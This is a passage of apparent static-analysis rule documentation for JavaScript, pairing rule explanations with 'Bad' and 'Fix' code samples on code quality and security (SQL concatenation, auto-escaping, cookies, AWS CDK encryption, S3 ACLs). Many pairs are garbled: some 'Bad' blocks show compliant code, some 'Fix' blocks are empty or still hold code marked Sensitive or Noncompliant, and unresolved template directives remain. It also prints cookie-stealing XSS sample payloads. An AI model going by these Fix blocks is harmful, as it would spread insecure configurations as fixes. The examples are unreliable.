      new Topic(this, 'exampleTopic'); // Sensitive
      ```

      ```javascript Fix theme={null}
      import { Topic, CfnTopic } from 'aws-cdk-lib/aws-sns';

      new CfnTopic(this, 'exampleCfnTopic'); // Sensitive
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Formatting SQL queries is security-sensitive">
    <div class="paragraph">
      <p>Formatted SQL queries can be difficult to maintain, debug and can increase the risk of SQL injection when concatenating untrusted values into the query. However, this rule doesn’t detect SQL injections (unlike rule S3649), the goal is only to highlight complex/formatted queries.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      // === MySQL ===
      const mysql = require('mysql');
      const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db });
      mycon.connect(function(err) {
      mycon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive
      });

      // === PostgreSQL ===
      const pg = require('pg');
      const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db });
      pgcon.connect();
      pgcon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive
      ```

      ```javascript Fix theme={null}
      // === MySQL ===
      const mysql = require('mysql');
      const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db });
      mycon.connect(function(err) {
      mycon.query('SELECT name FROM users WHERE id = ?', [userinput], (err, res) => {});
      });

      // === PostgreSQL ===
      const pg = require('pg');
      const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db });
      pgcon.connect();
      pgcon.query('SELECT name FROM users WHERE id = $1', [userinput], (err, res) => {});
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unused function parameters should be removed">
    <div class="paragraph">
      <p>A typical code smell known as unused function parameters refers to parameters declared in a function but not used anywhere within the function’s body.
      While this might seem harmless at first glance, it can lead to confusion and potential errors in your code.
      Disregarding the values passed to such parameters, the function’s behavior will be the same, but the programmer’s intention won’t be clearly expressed anymore.
      Therefore, removing function parameters that are not being utilized is considered best practice.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function doSomething(a, b, c) {
      compute(arguments);
      }
      ```

      ```javascript Fix theme={null}
      function doSomething(_a, b) {
      return compute(b);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unicode Grapheme Clusters should be avoided inside regex character classes">
    <div class="paragraph">
      <p>When placing Unicode <a href="https://unicode.org/glossary/#grapheme_cluster">Grapheme Clusters</a> (characters which require to be encoded in multiple <a href="https://unicode.org/glossary/#code_point">Code Points</a>) inside a character class of a regular expression, this will likely lead to unintended behavior.</p>
    </div>

    <div class="paragraph">
      <p>For instance, the grapheme cluster <code>c̈ requires two code points: one for 'c', followed by one for the <em>umlaut</em> modifier '\u\{0308}'. If placed within a character class, such as \[c̈], the regex will consider the character class being the enumeration \[c\u\{0308}] instead. It will, therefore, match every 'c'</code> and every <em>umlaut</em> that isn’t expressed as a single codepoint, which is extremely unlikely to be the intended behavior.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue every time Unicode Grapheme Clusters are used within a character class of a regular expression.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      "cc̈d̈d".replace(/[c̈d̈]/g, "X"); // result is "XXXXXX" and not expected "cXXd"
      ```

      ```javascript Fix theme={null}
      "cc̈d̈d".replace(/c̈|d̈/g, "X"); // result is "cXXd"
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Literal boolean values should not be used in assertions">
    <div class="paragraph">
      <p>There’s no reason to use literal boolean values in assertions. Doing so is at best confusing for maintainers, and at worst a bug.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      Assert.assertTrue(true); // Noncompliant
      assertThat(true).isTrue(); // Noncompliant
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Repeated patterns in regular expressions should not match the empty string">
    <div class="paragraph">
      <p>A regex should never include a repetitive pattern whose body would match the empty string. This is usually a sign that a part of the regex is redundant or does not do what the author intended.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /(?:)*/      // same as the empty regex, the '*' accomplishes nothing
      /(?:|x)*/    // same as the empty regex, the alternative has no effect
      /(?:x|)*/    // same as 'x*', the empty alternative has no effect
      /(?:x*|y*)*/ // same as 'x*', the first alternative would always match, y* is never tried
      /(?:x?)*/    // same as 'x*'
      /(?:x?)+/    // same as 'x*'
      ```

      ```javascript Fix theme={null}
      /x*/
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Conditionally executed code should be reachable">
    <div class="paragraph">
      <p>Conditional expressions which are always true or false can lead to <a href="https://en.wikipedia.org/wiki/Unreachable_code">unreachable code</a>.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const debug = false;
      //...
      if (debug) {
      // Print something
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Constructing arguments of system commands from user input is security-sensitive">
    <div class="paragraph">
      <p>Constructing arguments of system commands from user input is security-sensitive. It has led in the past to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9920">CVE-2016-9920</a></p>
        </li>

        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29472">CVE-2021-29472</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Arguments of system commands are processed by the executed program. The arguments are usually used to configure and influence the behavior of the programs.
      Control over a single argument might be enough for an attacker to trigger dangerous features like executing arbitrary commands or writing files into specific directories.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const { spawn } = require("child_process");
      const input = req.query.input;
      if (allowed.includes(input)) {
      const proc = spawn("/usr/bin/find", [input]);
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Variables should not be self-assigned">
    <div class="paragraph">
      <p>There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function setName(name) {
      name = name;
      }
      ```

      ```javascript Fix theme={null}
      function setName(name) {
      this.name = name;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="if ... else if constructs should end with else clauses">
    <div class="paragraph">
      <p>This rule applies whenever an \`if statement is followed by one or more else if statements; the final else if should be followed by an else statement.</p>
    </div>

    <div class="paragraph">
      <p>The requirement for a final else statement is defensive programming.</p>
    </div>

    <div class="paragraph">
      <p>The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch\` statement.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (x == 0) {
      doSomething();
      } else if (x == 1) {
      doSomethingElse();
      }
      ```

      ```javascript Fix theme={null}
      if (x == 0) {
      doSomething();
      } else if (x == 1) {
      doSomethingElse();
      } else {
      throw "Unexpected value for x";
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disabling auto-escaping in template engines is security-sensitive">
    <div class="paragraph">
      <p>To reduce the risk of cross-site scripting attacks, templating systems, such as \`Twig,  Django,  Smarty,  Groovy's template engine, allow configuration of automatic variable escaping before rendering templates. When escape occurs, characters that make sense to the browser (eg: \<a>) will be transformed/replaced with escaped/sanitized values (eg: & lt;a& gt; ).</p>
    </div>

    <div class="paragraph">
      <p>Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on <a href="https://twig.symfony.com/doc/3.x/filters/escape.html">the strategy applied</a> and the context, for example a "html auto-escaping" strategy  (which only transforms html characters into <a href="https://developer.mozilla.org/en-US/docs/Glossary/Entity">html entities</a>) will not be relevant when variables are used in a <a href="https://en.wikipedia.org/wiki/HTML_attribute">html attribute</a> because ':’ character is not escaped and thus an attack as below is possible:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<a href="\{\{ myLink }}">link\</a> // myLink = javascript:alert(document.cookie)
        \<a href="javascript:alert(document.cookie)">link\</a> // JS injection (XSS attack)</pre>
      </div>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let Mustache = require("mustache");

      let rendered = Mustache.render(template, { name: inputName }); // Compliant autoescaping is on by default
      ```

      ```javascript Fix theme={null}
      const Handlebars = require('handlebars');

      let source = "<p>attack {{name}}</p>";
      let data = { "name": "<b>Alan</b>" };

      let template = Handlebars.compile(source); // Compliant by default noEscape is set to false
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="for loop stop conditions should be invariant">
    <div class="paragraph">
      <p>A \`for loop stop condition should test the loop counter against an invariant value (i.e. one that is true at both the beginning and ending of every loop iteration). Ideally, this means that the stop condition is set to a local variable just before the loop begins.</p>
    </div>

    <div class="paragraph">
      <p>Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future.</p>
    </div>

    <div class="paragraph">
      <p>This rule tracks three types of non-invariant stop conditions:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>When the loop counters are updated in the body of the for\` loop</p>
        </li>

        <li>
          <p>When the stop condition depend upon a method call</p>
        </li>

        <li>
          <p>When the stop condition depends on an object property, since such properties could change during the execution of the loop.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function doSomething()
      {
      var i;
      for (i = 0; i < 10; i++)
      {
      i = 11; // Noncompliant
      }
      }
      ```

      ```javascript Fix theme={null}
      function doSomething()
      {
      var i, done;

      for (i = 0; i < 10; i++)
      {
      alert("i = " + i);
      }

      done = false;
      for (i = 0; i < 10 && !done; i++)
      {
      if (i == 5)
      {
        alert("i equals 5");
        done = true;
      }
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Regular expressions should not contain multiple spaces">
    <div class="paragraph">
      <p>Multiple spaces in a regular expression can make it hard to tell how many spaces should be matched. It’s more readable to use only one space and then indicate with a quantifier how many spaces are expected.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const pattern = /Hello,   world!/;
      ```

      ```javascript Fix theme={null}
      const pattern = /Hello, {3}world!/;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using unencrypted EBS volumes is security-sensitive">
    <div class="paragraph">
      <p>Amazon Elastic Block Store (EBS) is a block-storage service for Amazon Elastic Compute Cloud (EC2). EBS volumes can be encrypted, ensuring the security of both data-at-rest and data-in-transit between an instance and its attached EBS storage. In the case that adversaries gain physical access to the storage medium they are not able to access the data. Encryption can be enabled for specific volumes or for <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-by-default">all new volumes and snapshots</a>. Volumes created from snapshots inherit their encryption configuration. A volume created from an encrypted snapshot will also be encrypted by default.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { Size } from 'aws-cdk-lib';
      import { Volume } from 'aws-cdk-lib/aws-ec2';

      new Volume(this, 'unencrypted-explicit', {
        availabilityZone: 'us-west-2a',
        size: Size.gibibytes(1),
        encrypted: false // Sensitive
      });
      ```

      ```javascript Fix theme={null}
      import { Size } from 'aws-cdk-lib';
      import { Volume } from 'aws-cdk-lib/aws-ec2';

      new Volume(this, 'unencrypted-implicit', {
        availabilityZone: 'eu-west-1a',
        size: Size.gibibytes(1),
      }); // Sensitive as encryption is disabled by default
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Creating cookies without the secure flag is security-sensitive">
    <div class="paragraph">
      <p>When a cookie is protected with the <code>secure</code> attribute set to <em>true</em> it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let session = cookieSession({
      secure: true,// Compliant
      });  // Compliant
      ```

      ```javascript Fix theme={null}
      const express = require('express');
      const session = require('express-session');

      let app = express();
      app.use(session({
      cookie: 
      { 
      secure: true // Compliant
      }
      }));
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Allowing browsers to sniff MIME types is security-sensitive">
    <div class="paragraph">
      <p><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">MIME confusion</a> attacks occur when an attacker successfully tricks a web-browser to interpret a resource as a different type than the one expected. To correctly interpret a resource (script, image, stylesheet …​) web browsers look for the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type">Content-Type header</a> defined in the HTTP response received from the server, but often this header is not set or is set with an incorrect value. To avoid content-type mismatch and to provide the best user experience, web browsers try to deduce the right content-type, generally by inspecting the content of the resources (the first bytes). This "guess mechanism" is called <a href="https://en.wikipedia.org/wiki/Content_sniffing">MIME type sniffing</a>.</p>
    </div>

    <div class="paragraph">
      <p>Attackers can take advantage of this feature when a website ("example.com" here) allows to upload arbitrary files. In that case, an attacker can upload a malicious image <em>fakeimage.png</em> (containing malicious JavaScript code or <a href="https://docs.microsoft.com/fr-fr/archive/blogs/ieinternals/script-polyglots">a polyglot content</a> file) such as:</p>
    </div>

    <div class="listingblock">
      <div class="content">
        <pre>\<script>alert(document.cookie)\</script></pre>
      </div>
    </div>

    <div class="paragraph">
      <p>When the victim will visit the website showing the uploaded image, the malicious script embedded into the image will be executed by web browsers performing MIME type sniffing.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const express = require('express');
      const helmet= require('helmet');

      let app = express();

      app.use(helmet.noSniff());
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using unencrypted EFS file systems is security-sensitive">
    <div class="paragraph">
      <p>Amazon Elastic File System (EFS) is a serverless file system that does not require provisioning or managing storage. Stored files can be automatically encrypted by the service. In the case that adversaries gain physical access to the storage medium or otherwise leak a message they are not able to access the data.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { FileSystem } from 'aws-cdk-lib/aws-efs';

      new FileSystem(this, 'unencrypted-explicit', {
      vpc: new Vpc(this, 'VPC'),
      encrypted: false // Sensitive
      });
      ```

      ```javascript Fix theme={null}
      import { CfnFileSystem } from 'aws-cdk-lib/aws-efs';

      new CfnFileSystem(this, 'unencrypted-implicit-cfn', {
      }); // Sensitive as encryption is disabled by default
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Control flow statements if, for, while, switch and try should not be nested too deeply">
    <div class="paragraph">
      <p>Nested control flow statements such as <code>if, for, while, switch, and try</code> are often key ingredients in creating
      what’s known as "Spaghetti code". This code smell can make your program difficult to understand and maintain.</p>
    </div>

    <div class="paragraph">
      <p>When numerous control structures are placed inside one another, the code becomes a tangled, complex web.
      This significantly reduces the code’s readability and maintainability, and it also complicates the testing process.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (condition1) {                  // Compliant - depth = 1
      /* ... */
      if (condition2) {                // Compliant - depth = 2
      /* ... */
      for (let i = 0; i < 10; i++) {  // Compliant - depth = 3
        /* ... */
        if (condition4) {            // Noncompliant - depth = 4, which exceeds the limit
          if (condition5) {          // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
            /* ... */
          }
          return;
        }
      }
      }
      }
      ```

      ```javascript Fix theme={null}
      if (!condition1) {
      return;
      }
      /* ... */
      if (!condition2) {
      return;
      }
      for (let i = 0; i < 10; i++) {
      /* ... */
      if (condition4) {
      if (condition5) {
        /* ... */
      }
      return;
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Ternary operators should not be nested">
    <div class="paragraph">
      <p>Nested ternaries are hard to read and can make the order of operations complex to understand.</p>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{noncompliant}\[]</p>
    </div>

    <div class="paragraph">
      <p>Instead, use another line to express the nested operation in a separate statement.</p>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{compliant}\[]</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      return (
      <>
      {isLoading ? (
      <Loader active />
      ) : (
      <Panel label={isEditing ? 'Open' : 'Not open'}>
        <a>{isEditing ? 'Close now' : 'Start now'}</a>
        <Checkbox onClick={!saving ? setSaving(saving => !saving) : null} />
      </Panel>
      )}
      </>
      );
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Non-empty statements should change control flow or have at least one side-effect">
    <div class="paragraph">
      <p>When writing code, it is important to ensure that each statement serves a purpose and
      contributes to the overall functionality of the program. When they have no side effects or do not change the control flow, they can either indicate a programming error or be redundant:</p>
    </div>

    <div class="olist arabic">
      <ol class="arabic">
        <li>
          <p>The code does not behave as intended: The statements are
          expected to have an effect but they do not. This can be
          caused by mistyping, copy-and-paste errors, etc.</p>
        </li>

        <li>
          <p>The statements are residual after a refactoring.</p>
        </li>
      </ol>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function getResult() {
      let result = 42;
      if (shouldBeZero()) {
          result == 0; // Noncompliant: no side effect, was an assignment intended?
      }
      return result;
      }
      ```

      ```javascript Fix theme={null}
      var msg = "Hello, "
      "World!"; // Noncompliant; have we forgotten '+' operator on previous line?
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Creating public APIs is security-sensitive">
    <div class="paragraph">
      <p>Creating APIs without authentication unnecessarily increases the attack surface on
      the target infrastructure.</p>
    </div>

    <div class="paragraph">
      <p>Unless another authentication method is used, attackers have the
      opportunity to attempt attacks against the underlying API.
      This means attacks both on the functionality provided by the API and its
      infrastructure.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import {aws_apigateway as apigateway} from "aws-cdk-lib"

      const resource = api.root.addResource("example")
      resource.addMethod(
      "GET",
      new apigateway.HttpIntegration("https://example.org"),
      {
          authorizationType: apigateway.AuthorizationType.NONE // Sensitive
      }
      )
      ```

      ```javascript Fix theme={null}
      import {aws_apigatewayv2 as apigateway} from "aws-cdk-lib"

      new apigateway.CfnRoute(this, "no-auth", {
      apiId: api.ref,
      routeKey: "GET /no-auth",
      authorizationType: "NONE", // Sensitive
      target: exampleIntegration
      })
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="String literals should not be duplicated">
    <div class="paragraph">
      <p>Duplicated string literals make the process of refactoring complex and error-prone, as any change would need to be propagated on all occurrences.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function run() {
      prepare("action_to_launch");  // Noncompliant - "action_to_launch" is duplicated 3 times
      execute("action_to_launch");
      release("action_to_launch");
      }

      function printInQuotes(a, b) {
      console.log("'" + a + "'" + b + "'");               // Compliant - literal "'" has less than 10 characters and is excluded
      }
      ```

      ```javascript Fix theme={null}
      var ACTION_1 = "action_to_launch";

      function run() {
      prepare(ACTION_1);                               // Compliant
      execute(ACTION_1);
      release(ACTION_1);
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should not have too many lines of code">
    <div class="paragraph">
      <p>A function that grows too large tends to aggregate too many responsibilities.</p>
    </div>

    <div class="paragraph">
      <p>Such functions inevitably become harder to understand and therefore harder to maintain.</p>
    </div>

    <div class="paragraph">
      <p>Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.</p>
    </div>

    <div class="paragraph">
      <p>Those smaller functions will not only be easier to understand, but also probably easier to test.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      (function () { // Ignored by this rule

      function open() {  // Classic function declaration; not ignored
      // ...
      }

      function read() {
      // ...
      }

      function readlines() {
      // ...
      }
      })();
      ```

      ```javascript Fix theme={null}
      function Welcome() {
      const greeting = 'Hello, World!';

      // ...

      return (
      <div className="Welcome">
        <p>{greeting}</p>
      </div>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Modulus results should not be checked for direct equality">
    <div class="paragraph">
      <p>When the modulus of a negative number is calculated, the result will either be negative or zero. Thus, comparing the modulus of a variable for equality with a positive number (or a negative one) could result in unexpected results.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function isOdd(x) {
      return x % 2 == 1;  // Noncompliant; if x is an odd negative, x % 2 == -1
      }
      ```

      ```javascript Fix theme={null}
      function isOdd(int x) {
      return x % 2 != 0;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Disclosing fingerprints from web application technologies is security-sensitive">
    <div class="paragraph">
      <p>Disclosure of version information, usually overlooked by developers but disclosed by default
      by the systems and frameworks in use, can pose a significant security risk
      depending on the production environement.</p>
    </div>

    <div class="paragraph">
      <p>Once this information is public, attackers can use it to identify potential
      security holes or vulnerabilities specific to that version.</p>
    </div>

    <div class="paragraph">
      <p>Furthermore, if the published version information indicates the use of outdated
      or unsupported software, it becomes easier for attackers to exploit known
      vulnerabilities. They can search for published vulnerabilities related to that
      version and launch attacks that specifically target those vulnerabilities.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let express = require('express');

      let example = express(); // Sensitive

      example.get('/', function (req, res) {
      res.send('example')
      });
      ```

      ```javascript Fix theme={null}
      let express = require('express');

      let example = express();
      example.disable("x-powered-by");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Granting access to S3 buckets to all or authenticated users is security-sensitive">
    <div class="paragraph">
      <p>Predefined permissions, also known as <a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/acl-overview.html#canned-acl">canned ACLs</a>, are an easy way to grant large privileges to predefined groups or users.</p>
    </div>

    <div class="paragraph">
      <p>The following canned ACLs are security-sensitive:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>\`PublicRead, PublicReadWrite grant respectively "read" and "read and write" privileges to everyone in the world (AllUsers group).</p>
        </li>

        <li>
          <p>AuthenticatedRead grants "read" privilege to all authenticated users (AuthenticatedUsers\` group).</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'bucket', {
      accessControl: s3.BucketAccessControl.PUBLIC_READ_WRITE // Sensitive
      });

      new s3deploy.BucketDeployment(this, 'DeployWebsite', {
      accessControl: s3.BucketAccessControl.PUBLIC_READ_WRITE // Sensitive
      });
      ```

      ```javascript Fix theme={null}
      const s3 = require('aws-cdk-lib/aws-s3');

      new s3.Bucket(this, 'bucket', {
      accessControl: s3.BucketAccessControl.PRIVATE
      });

      new s3deploy.BucketDeployment(this, 'DeployWebsite', {
      accessControl: s3.BucketAccessControl.PRIVATE
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="SHA-1 and Message-Digest hash algorithms should not be used in secure contexts">
    <div class="paragraph">
      <p>The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160.</p>
    </div>

    <div class="paragraph">
      <p>Consider using safer alternatives, such as SHA-256, SHA-512 or SHA-3.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var CryptoJS = require("crypto-js");

      var hash = CryptoJS.MD5("Message");
      ...
      var hash = CryptoJS.SHA1("Message");
      ```

      ```javascript Fix theme={null}
      var hash = CryptoJS.SHA256("Message");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Values should not be uselessly incremented">
    <div class="paragraph">
      <p>A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function pickNumber() {
      let i = 0;
      i = i++; // Noncompliant; i is still zero

      return i++; // Noncompliant; 0 returned
      }
      ```

      ```javascript Fix theme={null}
      function pickNumber() {
      let i = 0;
      i++;

      return ++i;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Deprecated APIs should not be used">
    <div class="paragraph">
      <p>Code is sometimes annotated as deprecated by developers maintaining libraries or APIs to indicate that the method, class, or other programming element is no longer recommended for use. This is typically due to the introduction of a newer or more effective alternative. For example, when a better solution has been identified, or when the existing code presents potential errors or security risks.</p>
    </div>

    <div class="paragraph">
      <p>Deprecation is a good practice because it helps to phase out obsolete code in a controlled manner, without breaking existing software that may still depend on it. It is a way to warn other developers not to use the deprecated element in new code, and to replace it in existing code when possible.</p>
    </div>

    <div class="paragraph">
      <p>Deprecated classes, interfaces, and their members should not be used, inherited or extended because they will eventually be removed. The deprecation period allows you to make a smooth transition away from the aging, soon-to-be-retired technology.</p>
    </div>

    <div class="paragraph">
      <p>Check the documentation or the deprecation message to understand why the code was deprecated and what the recommended alternative is.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      /**
      * @deprecated Use newFunction instead.
      */
      function oldFunction() {
      console.log("This is the old function.");
      }

      function newFunction() {
      console.log("This is the new function.");
      }
      oldFunction(); // Noncompliant: "oldFunction is deprecated"
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Comments should not be located at the end of lines of code">
    <div class="paragraph">
      <p>This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      var a1 = b + c; // This is a trailing comment that can be very very long
      ```

      ```javascript Fix theme={null}
      // This very long comment is better placed before the line of code
      var a2 = b + c;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should not have too many parameters">
    <div class="paragraph">
      <p>\{upper\_function}s with a long parameter list are difficult to use because maintainers must figure out the role of each parameter and keep track of their position.</p>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{language}/noncompliant.adoc\[]</p>
    </div>

    <div class="paragraph">
      <p>The solution can be to:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Split the \{function} into smaller ones</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{language}/split-example.adoc\[]</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Find a better data structure for the parameters that group data in a way that makes sense for the specific application domain</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Unresolved directive in \<stdin> - include::\{language}/struct-example.adoc\[]</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when a \{function} has more parameters than the provided threshold.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class C {
      constructor(
      private param1: number,     // ignored
      param2: boolean,            // counted
      public param3: string,      // ignored
      readonly param4: string[],  // ignored
      param5: number | string     // counted
      ) {} // Compliant by exception
      }
      ```

      ```javascript Fix theme={null}
      import { Component } from '@angular/core';

      @Component({/* ... */})
      class Component {
      constructor(p1, p2, p3, p4, p5) {} // Compliant by exception
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function names should comply with a naming convention">
    <div class="paragraph">
      <p>Shared coding conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function DoSomething(){...}
      ```

      ```javascript Fix theme={null}
      function doSomething(){...}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should not have identical implementations">
    <div class="paragraph">
      <p>Two \{func\_name}s having the same implementation are suspicious.
      It might be that something else was intended. Or the duplication is intentional, which becomes a maintenance burden.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function calculateCode() {
      doTheThing();
      doOtherThing();
      return code;
      }

      function getName() {  // Noncompliant: duplicates calculateCode
      doTheThing();
      doOtherThing();
      return code;
      }
      ```

      ```javascript Fix theme={null}
      function calculateCode() {
      doTheThing();
      doOtherThing();
      return code;
      }

      function getName() { // Intent is clear
      return calculateCode();
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Using hardcoded IP addresses is security-sensitive">
    <div class="paragraph">
      <p>Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5901">CVE-2006-5901</a></p>
        </li>

        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3725">CVE-2005-3725</a></p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Today’s services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery, and deployment:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.</p>
        </li>

        <li>
          <p>It misleads to use the same address in every environment (dev, sys, qa, prod).</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service, try to get access to the system, or try to spoof the IP address to bypass security checks. Such attacks can always be possible, but in the case of a hardcoded IP address solving the issue will take more time, which will increase an attack’s impact.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      ip = process.env.IP_ADDRESS; // Compliant

      const net = require('net');
      var client = new net.Socket();
      client.connect(80, ip, function() {
      // ...
      });
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Track uses of TODO tags">
    <div class="paragraph">
      <p>Developers often use TODO tags to mark areas in the code where additional work or improvements are needed but are not implemented immediately.
      However, these TODO tags sometimes get overlooked or forgotten, leading to incomplete or unfinished code.
